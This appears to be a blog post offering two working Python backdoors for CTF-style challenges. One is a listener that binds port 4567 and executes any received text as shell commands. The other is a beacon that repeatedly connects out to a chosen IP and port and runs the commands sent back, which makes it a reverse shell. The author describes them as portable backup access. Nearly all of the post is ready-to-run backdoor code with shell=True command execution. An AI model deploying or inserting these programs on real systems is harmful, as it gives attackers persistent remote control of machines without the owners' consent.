Note: For both of these programs, even though they tunnel out shells, each time you run a command its started in a new shell. This has the side-effect of the “cd” command not working.
I might fix this later by redirecting stdin, stdout, and stderr. You can do this using os.dup2 (and there are examples of doing this on other sites), but these are just portable backup access for CTF-style challenges.
Python listener (server) using sockets and subprocess to execute.
Since this is specific to being used as a backdoor/shell, this is one of those times where you DO want shell=True
#!/usr/bin/python import socket,subprocess #Usage: listen <port> # ./listen 8080 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', 4567)) print("Listener: {}".format(s.getsockname())) s.listen(1) while True: connection,client_address = s.accept() try: #print('connected: {}'.format(client_address)) connection.sendall("> ") while True: data = connection.recv(2048) if data: comm = subprocess.Popen(data,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True) out,err = comm.communicate() prompt = "{}{}> ".format(out,err) connection.sendall(prompt) else: break finally: connection.close()
Python beacon program. Sends out a syn packet every few seconds, minutes, hours (whatever you set interval to).
Once it connects, data sent to it is executed through subprocess.
#!/usr/bin/python import socket,subprocess,time,sys #Usage: beacon <ip> <port> <interval> #./beacon 1.2.3.4 8080 10 dst_addr = sys.argv[1] dst_port = int(sys.argv[2]) interval = int(sys.argv[3]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) while True: try: s.connect((dst_addr,dst_port)) s.sendall("> ") while True: try: data = s.recv(2048) if data == "quit": break else: comm = subprocess.Popen(data,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True) out,err = comm.communicate() prompt = "{}{}> ".format(out,err) s.sendall(prompt) except Exception, err: print(err) break except Exception, e: print(e) time.sleep(interval) s.close()